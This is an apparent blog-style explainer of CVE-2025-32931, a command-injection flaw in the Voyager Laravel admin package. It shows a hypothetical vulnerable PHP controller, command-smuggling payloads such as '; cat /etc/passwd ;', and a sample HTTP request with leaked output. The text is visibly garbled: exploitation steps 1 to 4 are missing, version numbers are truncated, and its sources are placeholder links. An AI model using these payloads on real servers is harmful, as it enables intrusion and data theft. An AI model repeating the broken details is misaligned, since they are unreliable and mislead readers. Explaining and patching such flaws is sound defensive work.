Recently, the security community has discovered a critical vulnerability in DevDojo Voyager — a popular Laravel admin package. Tracked as CVE-2025-32931, this flaw affects versions 1.4. through 1.8. running on Laravel 8 or later. If you’re running an admin area managed by Voyager, you need to pay attention!

This post explains how CVE-2025-32931 works, how dangerous it is, and even offers a code snippet showing exploitation in a test environment. All in simple American English — no jargon, no fuzz.

What is CVE-2025-32931?

The problem: Authenticated administrators can run any command they want on the server’s operating system by abusing a specific php artisan command provided in some Voyager admin screens.

This happens because Voyager trusted admin-provided inputs too much when executing Artisan commands, allowing sneaky system commands to slip through.

The Weak Spot

Voyager gives administrators a UI for Laravel Artisan commands. The commands frequently take user input in their arguments. Due to improper sanitization, if the admin provides command arguments like ; ls -la;, those extra commands get executed by the server shell.

Suppose we have a controller method like this

public function executeArtisanCommand(Request $request) {
    $cmd = $request->input('command'); // e.g. migrate
    $args = $request->input('args');   // base_path(), '--force', '; whoami ;'
    
    // VULNERABLE: $cmd and $args are not properly sanitized!
    $fullCommand = "php artisan {$cmd} {$args}";
    $output = shell_exec($fullCommand);

    return response()->json(['output' => $output]);
}

If an attacker (who is an authenticated admin) sets args to ; id ;, the resulting command becomes

php artisan migrate ; id ;

The server will first run the Laravel migration, then run the id command, leaking system info.

Proof-of-Concept: Exploitation Steps

Let's see how an attacker could exploit this on a test system.

Assume the attacker is logged in as an admin, and there’s an exposed “Artisan” console page in Voyager.

Submit.

5. Result: Their browser shows the output of whoami (like www-data or apache), proving arbitrary command execution.

Example HTTP Request

POST /admin/artisan/execute
Content-Type: application/json
Cookie: admin_session=...

{
    "command": "migrate",
    "args": "; cat /etc/passwd ;"
}

Typical Response

{
    "output": "... normal migrate output ... \nroot:x:::root:/root:/bin/bash\nuser:x:100:100:user:/home/user:/bin/bash\n..."
}

Official sources and community writeups

- Voyager Official Site
- Laravel Artisan Docs
- *CVE record*: CVE-2025-32931 at NVD (placeholder)
- Original GitHub Advisory by researcher – Example Link *(replace with real link when published)*

You must have at least one administrator with login access and the ability to use Artisan features

*Voyager instances running on Laravel 7 or lower may not have the exact problem, but caution is always advised!*

Upgrade Voyager!

The fastest solution is to update to the latest Voyager release (1.8.1 or above) where input is properly sanitized.

WAF and Logging:

Set up a Web Application Firewall to detect suspicious inputs (like ; or && in arguments), and log such attempts for investigation.

Final Note

CVE-2025-32931 shows how a “trusted” admin input in backend dashboards can become a nightmare if not properly sanitized. Always be careful when wrapping shell commands in your web apps — even if only admins can access them.

Patch now. Share this with your team. Stay safe!


*Did you like this deep dive? For more vulnerability explainers and DevDojo/Laravel security, follow us or check out security advisories.*

Timeline

Published on: 04/14/2025 16:15:22 UTC
Last modified on: 04/15/2025 18:39:27 UTC